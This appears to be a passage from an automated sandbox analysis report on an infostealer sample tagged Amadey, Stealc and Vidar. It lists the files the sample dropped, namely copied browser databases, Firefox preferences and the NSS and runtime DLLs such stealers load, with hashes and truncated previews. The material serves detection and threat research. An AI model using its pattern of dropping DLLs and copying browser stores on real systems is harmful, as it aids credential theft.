	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKKKECBKKECGCAAAEHJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FHIDAFHCBAKFCAAKFCFCFIIJKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDGHIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBAKEGIDBGIEBFHDHJJEHDHDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAFIIDAKJDGDHIDAKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJJDGHJKKJEBFHJDBGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJDHCAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2654028424610964
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMTSAELyKOMq+8HKkjucswRv8p3nVumx:K0q+n0JT9ELyKOMq+8HKkjuczRv89F
MD5:	E1E2F765793CAF58F1F2D59825C87AD6
SHA1:	6F5B676CF14A30EFFDCF6DD2442042E6624CF4D5
SHA-256:	DBEA006343C684388ECB0BEC1B470955F101CF5D739800B5B07CDB9C89B24B92
SHA-512:	62FBE69A09739E718F6BC963FCE3358B0D9E6130187C51CA5AEACFABCB8C805CF32A0E22344A974377A3DA9C8D5A71F44B88A7DA8931E1A3D05A95B7C91C8C41
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S0FTWARE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: E89hSGjVrv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S0FTWARE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: E89hSGjVrv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\09ef72cc-1dba-4017-a40a-e464b3d5d50e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46296
Entropy (8bit):	6.086748398110073
Encrypted:	false
SSDEEP:	768:AMkbJrT8IeQc5JaX4KKGf4yu79BiccRiJlFTwJUSa9gCio57DRo+yM/42cRaLMov:AMk1rT8HxaPuBBivkgFo57VLyMV/YosE
MD5:	70A3C2CF5C63E814F83C28326172357E
SHA1:	9F442E2543644ECCCA78D596212CC803B3460682
SHA-256:	5574C0866B2D5222C709CC0E2391FFBED6070B460EE6C8C73BB774C06BDC3003
SHA-512:	5E33780105D564729D003031B8B58DF799304CD2B97162DC678D7A9F75906D188DB26109F10135BE636CFD5F2732F6A05E60E0A744A5B9F63A967F2C0C04C240
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"2cbfe236-1d5e-47aa-b739-949eafc90d6f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732223088"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\132358d3-3095-438c-8429-0704482c9750.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44699
Entropy (8bit):	6.094442088277386
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4ksLKKGf4yu79Bic1X8he2N7DRo+yM/42cRaLMoskCiG:z/Ps+wsI7ynDuBBiJN7VLyMV/YoskFoz
MD5:	1E9EFCD618F916F1FBF24FEDF4E8FB5D
SHA1:	6C40CB31F47DD3099690DF0A33D7BB8CC111F3EF
SHA-256:	6B6918352B6935BD5618129FB00C58BAD1DF976010227F17ACD6F135F9AA9467
SHA-512:	F22857D25204A1B8B8A7F46E672A91988FBDFBFCD515B8C0FBF8305195C1D95A67330D3A732617DF473C7D06F8FE00241BE29DA7BD9718F91674188F75707C19
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6aeaf85c-86a7-4d77-9432-b7d4499758b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46219
Entropy (8bit):	6.086829793022055
Encrypted:	false
SSDEEP:	768:AMkbJrT8IeQc5daX4KKGf4yu79BicLRiJlFTwJUSa9gCio57DRo+yM/42cRaLMov:AMk1rT8H1aPuBBiUkgFo57VLyMV/YosE
MD5:	982B7A463B84971046CEC048EE3A6BC2
SHA1:	EABCC0670419EF9627AB4777341D8D63B7DDCE00
SHA-256:	16D03CDCF3E94F005C5DFDA675B237B2D2C47919F454AA6EDD763F3599915CF7
SHA-512:	DB5E7DFF7582F8FCBB58B016359C7B1F12050391F3BF07D1D74AEFADF4EAC7F20C0DFAE05ACE769C9E370A92B955FD4EB0091EA5EE5BB3B8B672F87279D446C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"2cbfe236-1d5e-47aa-b739-949eafc90d6f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732223088"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\787b7cc8-b1ed-4350-8866-9b6f14544e80.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089576472664773
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kyTKKGf4SQtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynUt5b7VLyMV/YoskFoz
MD5:	5056C268A97EC32829CAF0459122F7FA
SHA1:	56D5D96B08B6456DA9AD09E0676CEFD1CD86631A
SHA-256:	C7BB5581C4FC16BDDE50E27C0CBAD844062E3590E70FFA001BBCED6F511713CC
SHA-512:	A7CCEBC187AF98B342BB2B28099F1FF9A9D0F0BEE6D3A43D088EFA3E9E483BF5FD5BE0303FE2DB2CA993745BAA9B284F72860FCA3626202A3FCBB54D438840A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7bd87eec-7685-49a5-9392-bbf3939a9224.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44699
Entropy (8bit):	6.094442088277386
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4ksLKKGf4yu79Bic1X8he2N7DRo+yM/42cRaLMoskCiG:z/Ps+wsI7ynDuBBiJN7VLyMV/YoskFoz
MD5:	1E9EFCD618F916F1FBF24FEDF4E8FB5D
SHA1:	6C40CB31F47DD3099690DF0A33D7BB8CC111F3EF
SHA-256:	6B6918352B6935BD5618129FB00C58BAD1DF976010227F17ACD6F135F9AA9467
SHA-512:	F22857D25204A1B8B8A7F46E672A91988FBDFBFCD515B8C0FBF8305195C1D95A67330D3A732617DF473C7D06F8FE00241BE29DA7BD9718F91674188F75707C19
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

